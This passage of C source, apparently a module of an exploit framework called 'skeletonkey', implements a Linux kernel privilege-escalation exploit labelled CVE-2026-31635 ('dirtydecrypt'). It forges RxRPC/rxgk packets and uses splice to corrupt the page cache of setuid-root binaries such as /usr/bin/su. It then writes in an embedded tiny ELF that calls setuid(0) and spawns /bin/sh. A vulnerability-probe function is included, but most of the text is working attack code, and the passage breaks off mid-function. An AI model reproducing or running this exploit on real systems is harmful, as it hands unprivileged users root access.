||||||
|
uint32_t cid;
|
||||||
|
uint32_t callNumber;
|
||||||
|
uint32_t seq;
|
||||||
|
uint32_t serial;
|
||||||
|
uint8_t type;
|
||||||
|
uint8_t flags;
|
||||||
|
uint8_t userStatus;
|
||||||
|
uint8_t securityIndex;
|
||||||
|
uint16_t cksum;
|
||||||
|
uint16_t serviceId;
|
||||||
|
} __attribute__((packed));
|
||||||
|
|
||||||
|
#define RXRPC_PACKET_TYPE_DATA 1
|
||||||
|
#define RXRPC_PACKET_TYPE_CHALLENGE 6
|
||||||
|
#define RXRPC_LAST_PACKET 0x04
|
||||||
|
|
||||||
|
/* dd_verbose gates step/status chatter; errors always print. Set per
|
||||||
|
* invocation from !ctx->json before any helper runs. */
|
||||||
|
static int dd_verbose = 1;
|
||||||
|
#define LOG(fmt, ...) do { if (dd_verbose) \
|
||||||
|
fprintf(stderr, "[*] dirtydecrypt: " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||||
|
#define ERR(fmt, ...) fprintf(stderr, "[-] dirtydecrypt: " fmt "\n", ##__VA_ARGS__)
|
||||||
|
|
||||||
|
/* Candidate setuid-root targets, in preference order. */
|
||||||
|
static const char *const dd_targets[] = {
|
||||||
|
"/usr/bin/su", "/bin/su", "/usr/bin/mount",
|
||||||
|
"/usr/bin/passwd", "/usr/bin/chsh", NULL
|
||||||
|
};
|
||||||
|
|
||||||
|
/* --- helpers (faithful to the V12 PoC) --- */
|
||||||
|
|
||||||
|
static long key_add(const char *type, const char *desc,
|
||||||
|
const void *payload, size_t plen, int ringid)
|
||||||
|
{
|
||||||
|
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int write_proc(const char *path, const char *buf)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_WRONLY);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
int n = write(fd, buf, strlen(buf));
|
||||||
|
close(fd);
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void setup_ns(void)
|
||||||
|
{
|
||||||
|
uid_t uid = getuid();
|
||||||
|
gid_t gid = getgid();
|
||||||
|
|
||||||
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||||
|
if (unshare(CLONE_NEWNET) < 0) {
|
||||||
|
perror("unshare");
|
||||||
|
_exit(4);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
write_proc("/proc/self/setgroups", "deny");
|
||||||
|
char map[64];
|
||||||
|
snprintf(map, sizeof(map), "0 %u 1", uid);
|
||||||
|
write_proc("/proc/self/uid_map", map);
|
||||||
|
snprintf(map, sizeof(map), "0 %u 1", gid);
|
||||||
|
write_proc("/proc/self/gid_map", map);
|
||||||
|
}
|
||||||
|
|
||||||
|
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (s >= 0) {
|
||||||
|
struct ifreq ifr = {0};
|
||||||
|
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
|
||||||
|
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
|
||||||
|
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
|
||||||
|
ioctl(s, SIOCSIFFLAGS, &ifr);
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put32(uint8_t **pp, uint32_t val)
|
||||||
|
{
|
||||||
|
uint32_t nv = htonl(val);
|
||||||
|
memcpy(*pp, &nv, 4);
|
||||||
|
*pp += 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put64(uint8_t **pp, uint64_t val)
|
||||||
|
{
|
||||||
|
xdr_put32(pp, (uint32_t)(val >> 32));
|
||||||
|
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
|
||||||
|
{
|
||||||
|
xdr_put32(pp, (uint32_t)len);
|
||||||
|
memcpy(*pp, data, len);
|
||||||
|
*pp += len;
|
||||||
|
size_t pad = (4 - (len & 3)) & 3;
|
||||||
|
if (pad) { memset(*pp, 0, pad); *pp += pad; }
|
||||||
|
}
|
||||||
|
|
||||||
|
static int build_rxgk_token(uint8_t *out, size_t maxlen,
|
||||||
|
const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
uint8_t *p = out;
|
||||||
|
struct timespec ts;
|
||||||
|
clock_gettime(CLOCK_REALTIME, &ts);
|
||||||
|
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
|
||||||
|
(uint64_t)ts.tv_nsec / 100ULL;
|
||||||
|
|
||||||
|
xdr_put32(&p, 0); /* flags */
|
||||||
|
xdr_put_data(&p, "poc.test", 8); /* cell */
|
||||||
|
xdr_put32(&p, 1); /* ntoken */
|
||||||
|
|
||||||
|
uint8_t tok[512];
|
||||||
|
uint8_t *tp = tok;
|
||||||
|
xdr_put32(&tp, RXGK_SECURITY_INDEX);
|
||||||
|
xdr_put64(&tp, now); /* begintime */
|
||||||
|
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
|
||||||
|
xdr_put64(&tp, 2); /* level = ENCRYPT */
|
||||||
|
xdr_put64(&tp, 864000000000ULL); /* lifetime */
|
||||||
|
xdr_put64(&tp, 0); /* bytelife */
|
||||||
|
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
|
||||||
|
xdr_put_data(&tp, base_key, keylen); /* key */
|
||||||
|
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
|
||||||
|
xdr_put_data(&tp, ticket, sizeof(ticket));
|
||||||
|
|
||||||
|
size_t toklen = (size_t)(tp - tok);
|
||||||
|
xdr_put32(&p, (uint32_t)toklen);
|
||||||
|
memcpy(p, tok, toklen);
|
||||||
|
p += toklen;
|
||||||
|
|
||||||
|
if ((size_t)(p - out) > maxlen) return -1;
|
||||||
|
return (int)(p - out);
|
||||||
|
}
|
||||||
|
|
||||||
|
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
uint8_t buf[1024];
|
||||||
|
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
|
||||||
|
if (n < 0) return -1;
|
||||||
|
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
|
||||||
|
{
|
||||||
|
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
|
||||||
|
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
|
||||||
|
keyname, strlen(keyname)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
int min_level = RXRPC_SECURITY_ENCRYPT;
|
||||||
|
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
|
||||||
|
&min_level, sizeof(min_level)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_rxrpc srx = {0};
|
||||||
|
srx.srx_family = AF_RXRPC;
|
||||||
|
srx.srx_service = 0;
|
||||||
|
srx.transport_type = SOCK_DGRAM;
|
||||||
|
srx.transport_len = sizeof(struct sockaddr_in);
|
||||||
|
srx.transport.sin.sin_family = AF_INET;
|
||||||
|
srx.transport.sin.sin_port = htons(local_port);
|
||||||
|
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||||
|
|
||||||
|
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
|
||||||
|
{
|
||||||
|
char data[] = "TESTDATA";
|
||||||
|
struct sockaddr_rxrpc srx = {0};
|
||||||
|
srx.srx_family = AF_RXRPC;
|
||||||
|
srx.srx_service = service_id;
|
||||||
|
srx.transport_type = SOCK_DGRAM;
|
||||||
|
srx.transport_len = sizeof(struct sockaddr_in);
|
||||||
|
srx.transport.sin.sin_family = AF_INET;
|
||||||
|
srx.transport.sin.sin_port = htons(srv_port);
|
||||||
|
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||||
|
|
||||||
|
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
|
||||||
|
struct msghdr msg = {0};
|
||||||
|
msg.msg_name = &srx;
|
||||||
|
msg.msg_namelen = sizeof(srx);
|
||||||
|
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
|
||||||
|
msg.msg_iov = &iov;
|
||||||
|
msg.msg_iovlen = 1;
|
||||||
|
msg.msg_control = cmsg_buf;
|
||||||
|
msg.msg_controllen = sizeof(cmsg_buf);
|
||||||
|
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
|
||||||
|
cmsg->cmsg_level = SOL_RXRPC;
|
||||||
|
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
|
||||||
|
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
|
||||||
|
|
||||||
|
int fl = fcntl(cli_fd, F_GETFL);
|
||||||
|
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
|
||||||
|
ssize_t n = sendmsg(cli_fd, &msg, 0);
|
||||||
|
fcntl(cli_fd, F_SETFL, fl);
|
||||||
|
|
||||||
|
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
|
||||||
|
return -1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int setup_udp_server(uint16_t port)
|
||||||
|
{
|
||||||
|
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (s < 0) return -1;
|
||||||
|
struct sockaddr_in sa = {
|
||||||
|
.sin_family = AF_INET,
|
||||||
|
.sin_port = htons(port),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001),
|
||||||
|
};
|
||||||
|
int one = 1;
|
||||||
|
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
|
||||||
|
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
|
||||||
|
close(s); return -1;
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
static ssize_t udp_recv(int s, void *buf, size_t cap,
|
||||||
|
struct sockaddr_in *from, int timeout_ms)
|
||||||
|
{
|
||||||
|
struct pollfd pfd = { .fd = s, .events = POLLIN };
|
||||||
|
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
|
||||||
|
socklen_t fl = from ? sizeof(*from) : 0;
|
||||||
|
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int dd_trigger_seq = 0;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Fire one splice-based page-cache corruption at the given file offset.
|
||||||
|
* Returns 1 on fire, -1 on setup error.
|
||||||
|
*/
|
||||||
|
static int fire(int target_fd, off_t splice_off, size_t splice_len,
|
||||||
|
const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
char keyname[32];
|
||||||
|
snprintf(keyname, sizeof(keyname), "rxgk%d", dd_trigger_seq++);
|
||||||
|
|
||||||
|
long key = add_rxgk_key(keyname, base_key, keylen);
|
||||||
|
if (key < 0) return -1;
|
||||||
|
|
||||||
|
uint16_t port_S = 10000 + (rand() % 27000) * 2;
|
||||||
|
uint16_t port_C = port_S + 1;
|
||||||
|
int ret = -1;
|
||||||
|
|
||||||
|
int udp_srv = setup_udp_server(port_S);
|
||||||
|
if (udp_srv < 0) goto out_key;
|
||||||
|
|
||||||
|
int cli = setup_rxrpc_client(port_C, keyname);
|
||||||
|
if (cli < 0) goto out_udp;
|
||||||
|
|
||||||
|
if (initiate_call(cli, port_S, 1234) < 0)
|
||||||
|
goto out_cli;
|
||||||
|
|
||||||
|
uint8_t pkt[2048];
|
||||||
|
struct sockaddr_in cli_addr;
|
||||||
|
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
|
||||||
|
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
|
||||||
|
|
||||||
|
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
|
||||||
|
uint32_t epoch = ntohl(hdr->epoch);
|
||||||
|
uint32_t cid = ntohl(hdr->cid);
|
||||||
|
uint32_t callN = ntohl(hdr->callNumber);
|
||||||
|
uint16_t svc = ntohs(hdr->serviceId);
|
||||||
|
uint16_t cport = ntohs(cli_addr.sin_port);
|
||||||
|
|
||||||
|
/* send challenge */
|
||||||
|
{
|
||||||
|
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
|
||||||
|
memset(ch, 0, sizeof(ch));
|
||||||
|
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
|
||||||
|
c->epoch = htonl(epoch);
|
||||||
|
c->cid = htonl(cid);
|
||||||
|
c->serial = htonl(0x10000);
|
||||||
|
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
|
||||||
|
c->securityIndex = RXGK_SECURITY_INDEX;
|
||||||
|
c->serviceId = htons(svc);
|
||||||
|
for (int i = 0; i < 20; i++)
|
||||||
|
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
|
||||||
|
struct sockaddr_in to = { .sin_family = AF_INET,
|
||||||
|
.sin_port = htons(cport),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||||
|
sendto(udp_srv, ch, sizeof(ch), 0,
|
||||||
|
(struct sockaddr *)&to, sizeof(to));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* drain response(s) */
|
||||||
|
for (int i = 0; i < 3; i++) {
|
||||||
|
struct sockaddr_in src;
|
||||||
|
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* forge DATA packet: wire header from userspace, payload from page cache */
|
||||||
|
struct rxrpc_wire_header mal = {0};
|
||||||
|
mal.epoch = htonl(epoch);
|
||||||
|
mal.cid = htonl(cid);
|
||||||
|
mal.callNumber = htonl(callN);
|
||||||
|
mal.seq = htonl(1);
|
||||||
|
mal.serial = htonl(0x42000);
|
||||||
|
mal.type = RXRPC_PACKET_TYPE_DATA;
|
||||||
|
mal.flags = RXRPC_LAST_PACKET;
|
||||||
|
mal.securityIndex = RXGK_SECURITY_INDEX;
|
||||||
|
mal.serviceId = htons(svc);
|
||||||
|
|
||||||
|
struct sockaddr_in dst = { .sin_family = AF_INET,
|
||||||
|
.sin_port = htons(cport),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||||
|
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
|
||||||
|
goto out_cli;
|
||||||
|
|
||||||
|
int p[2];
|
||||||
|
if (pipe(p) < 0) goto out_cli;
|
||||||
|
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
|
||||||
|
if (vmsplice(p[1], &viv, 1, 0) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
loff_t off = splice_off;
|
||||||
|
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
close(p[0]); close(p[1]);
|
||||||
|
|
||||||
|
usleep(1000);
|
||||||
|
|
||||||
|
/* drain the error from the client socket (HMAC check fails as expected) */
|
||||||
|
int fl = fcntl(cli, F_GETFL);
|
||||||
|
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
|
||||||
|
for (int i = 0; i < 2; i++) {
|
||||||
|
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
|
||||||
|
struct msghdr m = {0};
|
||||||
|
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
|
||||||
|
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
|
||||||
|
m.msg_iov = &iv; m.msg_iovlen = 1;
|
||||||
|
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
|
||||||
|
recvmsg(cli, &m, 0);
|
||||||
|
}
|
||||||
|
ret = 1;
|
||||||
|
|
||||||
|
out_cli:
|
||||||
|
close(cli);
|
||||||
|
out_udp:
|
||||||
|
close(udp_srv);
|
||||||
|
out_key:
|
||||||
|
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
|
||||||
|
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- sliding-window write with progress display --- */
|
||||||
|
|
||||||
|
static void dd_progress(int done, int total, int fires)
|
||||||
|
{
|
||||||
|
if (!dd_verbose) return;
|
||||||
|
int width = 40;
|
||||||
|
int filled = total ? (done * width / total) : 0;
|
||||||
|
int pct = total ? (done * 100 / total) : 0;
|
||||||
|
fprintf(stderr, "\r [");
|
||||||
|
for (int j = 0; j < width; j++)
|
||||||
|
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
|
||||||
|
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
|
||||||
|
if (done == total) fputc('\n', stderr);
|
||||||
|
fflush(stderr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int pagecache_write(int rfd, void *map, off_t base,
|
||||||
|
const uint8_t *target, int len, off_t file_size,
|
||||||
|
const char *label)
|
||||||
|
{
|
||||||
|
uint8_t key[16];
|
||||||
|
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
|
||||||
|
int total = 0;
|
||||||
|
|
||||||
|
int max_off = (int)(file_size - 28);
|
||||||
|
if (base + len - 1 > max_off)
|
||||||
|
len = max_off - (int)base + 1;
|
||||||
|
|
||||||
|
/* Find first byte that differs. We must write everything from there
|
||||||
|
* onward — each round's 15-byte damage zone corrupts the next bytes. */
|
||||||
|
int start = 0;
|
||||||
|
for (int i = 0; i < len; i++) {
|
||||||
|
uint8_t cur;
|
||||||
|
pread(rfd, &cur, 1, base + i);
|
||||||
|
if (cur != target[i]) { start = i; break; }
|
||||||
|
if (i == len - 1) {
|
||||||
|
LOG("page cache already matches, skipping write");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
int need = len - start;
|
||||||
|
|
||||||
|
LOG("writing payload to %s (%d bytes from offset %d)",
|
||||||
|
label, need, (int)base + start);
|
||||||
|
dd_progress(0, need, 0);
|
||||||
|
|
||||||
|
for (int i = start; i < len; i++) {
|
||||||
|
off_t off = base + i;
|
||||||
|
uint8_t want = target[i];
|
||||||
|
uint8_t cur;
|
||||||
|
pread(rfd, &cur, 1, off);
|
||||||
|
|
||||||
|
if (cur == want && i > start)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
int ok = 0;
|
||||||
|
for (int att = 0; att < 10000; att++) {
|
||||||
|
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||||
|
uint64_t r = seed;
|
||||||
|
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||||
|
memcpy(key, &r, 8);
|
||||||
|
memcpy(key + 8, &seed, 8);
|
||||||
|
|
||||||
|
size_t slen = 28;
|
||||||
|
if (off + (off_t)slen > file_size) slen = file_size - off;
|
||||||
|
if (slen < 16) slen = 16;
|
||||||
|
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
|
||||||
|
total++;
|
||||||
|
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
|
||||||
|
ok = 1;
|
||||||
|
dd_progress(i - start + 1, need, total);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!ok) {
|
||||||
|
if (dd_verbose) fprintf(stderr, "\n");
|
||||||
|
ERR("byte %d/%d failed", i - start + 1, need);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("%d fires total", total);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
|
||||||
|
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
|
||||||
|
* Reproduced verbatim from the V12 PoC. */
|
||||||
|
static const uint8_t tiny_elf[] = {
|
||||||
|
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
|
||||||
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
|
||||||
|
0xb0,0x69,0x0f,0x05, /* setuid(0) */
|
||||||
|
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, "/bin/sh" */
|
||||||
|
0x6a,0x3b,0x58, /* push 59; pop rax */
|
||||||
|
0x0f,0x05, /* execve("/bin/sh", 0, 0) */
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Pick the first readable setuid-root binary from the candidate list. */
|
||||||
|
static const char *dd_pick_target(void)
|
||||||
|
{
|
||||||
|
for (int i = 0; dd_targets[i]; i++) {
|
||||||
|
struct stat sb;
|
||||||
|
if (stat(dd_targets[i], &sb) == 0 &&
|
||||||
|
(sb.st_mode & S_ISUID) && sb.st_uid == 0 &&
|
||||||
|
access(dd_targets[i], R_OK) == 0)
|
||||||
|
return dd_targets[i];
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Best-effort page-cache eviction for one path. */
|
||||||
|
static void dd_evict(const char *path)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_RDONLY);
|
||||||
|
if (fd >= 0) {
|
||||||
|
#ifdef POSIX_FADV_DONTNEED
|
||||||
|
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||||
|
#endif
|
||||||
|
close(fd);
|
||||||
|
}
|
||||||
|
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
||||||
|
if (dc >= 0) { if (write(dc, "3\n", 2) < 0) {} close(dc); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detect ------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Active sentinel probe: fire the rxgk primitive against a disposable
|
||||||
|
* /tmp file and check whether the page cache was corrupted. Never
|
||||||
|
* touches a setuid binary. Returns 1 vulnerable, 0 not, -1 probe error.
|
||||||
|
*/
|
||||||
|
static int dd_active_probe(void)
|
||||||
|
{
|
||||||
|
char probe[] = "/tmp/skeletonkey-dirtydecrypt-probe-XXXXXX";
|
||||||
|
int fd = mkstemp(probe);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
uint8_t seed_buf[256];
|
||||||
|
for (int i = 0; i < (int)sizeof(seed_buf); i++) seed_buf[i] = 0xA5;
|
||||||
|
if (write(fd, seed_buf, sizeof seed_buf) != (ssize_t)sizeof seed_buf) {
|
||||||
|
close(fd); unlink(probe); return -1;
|
||||||
|
}
|
||||||
|
fsync(fd);
|
||||||
|
close(fd);
|
||||||
|
|
||||||
|
int rfd = open(probe, O_RDONLY);
|
||||||
|
if (rfd < 0) { unlink(probe); return -1; }
|
||||||
|
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||||
|
if (map == MAP_FAILED) { close(rfd); unlink(probe); return -1; }
|
||||||
|
|
||||||
|
int result = -1;
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid == 0) {
|
||||||
|
setup_ns();
|
||||||
|
usleep(10000);
|
||||||
|
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (s < 0) _exit(2); /* AF_RXRPC unavailable */
|
||||||
|
close(s);
|
||||||
|
uint8_t key[16];
|
||||||
|
for (int att = 0; att < 64; att++) {
|
||||||
|
for (int k = 0; k < 16; k++) key[k] = rand() & 0xff;
|
||||||
|
if (fire(rfd, 16, 28, key, AES_KEY_LEN) != 1)
|
||||||
|
continue;
|
||||||
|
/* corruption hits a 16-byte block at the offset */
|
||||||
|
for (int b = 16; b < 32; b++)
|
||||||
|
if (((const uint8_t *)map)[b] != 0xA5)
|
||||||
|
_exit(0); /* vulnerable */
|
||||||
|
}
|
||||||
|
_exit(1); /* primitive did not land */
|
||||||
|
}
|
||||||
|
if (pid > 0) {
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
if (WIFEXITED(st)) {
|
||||||
|
if (WEXITSTATUS(st) == 0) result = 1;
|
||||||
|
else if (WEXITSTATUS(st) == 1) result = 0;
|
||||||
|
else result = -1; /* AF_RXRPC unavailable / error */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
munmap(map, 4096);
|
||||||
|
close(rfd);
|
||||||
|
unlink(probe);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
dd_verbose = !ctx->json;
|
||||||
|
|
||||||
|
struct utsname u;
|
||||||
|
uname(&u);
|
||||||
|
|
||||||
|
/* Precondition: AF_RXRPC must be reachable for the primitive. */
|
||||||
|
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (s < 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: AF_RXRPC unavailable "
|
||||||
|
"(%s) — rxgk path not reachable here\n",
|
||||||
|
strerror(errno));
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
|
||||||
|
if (!dd_pick_target()) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: no readable setuid-root "
|
||||||
|
"binary — exploit has no carrier here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ctx->active_probe) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] dirtydecrypt: running active sentinel "
|
||||||
|
"probe (safe; /tmp only)\n");
|
||||||
|
int p = dd_active_probe();
|
||||||
|
if (p == 1) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirtydecrypt: ACTIVE PROBE "
|
||||||
|
"CONFIRMED — rxgk in-place decrypt corrupts "
|
||||||
|
"the page cache (kernel %s)\n", u.release);
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
if (p == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] dirtydecrypt: active probe did "
|
||||||
|
"not land — primitive blocked (patched)\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[?] dirtydecrypt: active probe machinery "
|
||||||
|
"failed; falling back to precondition verdict\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* No version-based verdict: the CVE-2026-31635 fix commit is not
|
||||||
|
* pinned in this module yet (see MODULE.md). Preconditions are
|
||||||
|
* present but patched/vulnerable cannot be determined passively —
|
||||||
|
* report TEST_ERROR so --auto does not fire blind. Use --active to
|
||||||
|
* confirm empirically, or --exploit dirtydecrypt --i-know directly. */
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[?] dirtydecrypt: AF_RXRPC reachable on kernel %s; "
|
||||||
|
"patch-level cannot be determined passively.\n"
|
||||||
|
" Confirm with: skeletonkey --scan --active\n", u.release);
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- exploit ------------------------------------------------------ */
|
||||||
|
|
||||||
|
/* Runs in a forked child: corrupt the target's page cache, then either
|
||||||
|
* exec it (shell mode) or _exit cleanly (no_shell). Never returns on
|
||||||
|
* the shell path. Exit codes: 0 ok, 2 corruption failed, 4 precond. */
|
||||||
|
static void dd_child(const char *target_path, int no_shell)
|
||||||
|
{
|
||||||
|
int rfd = open(target_path, O_RDONLY);
|
||||||
|
if (rfd < 0) { perror("open target"); _exit(2); }
|
||||||
|
struct stat sb;
|
||||||
|
if (fstat(rfd, &sb) < 0) { perror("fstat"); _exit(2); }
|
||||||
|
|
||||||
|
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||||
|
if (map == MAP_FAILED) { perror("mmap"); _exit(2); }
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
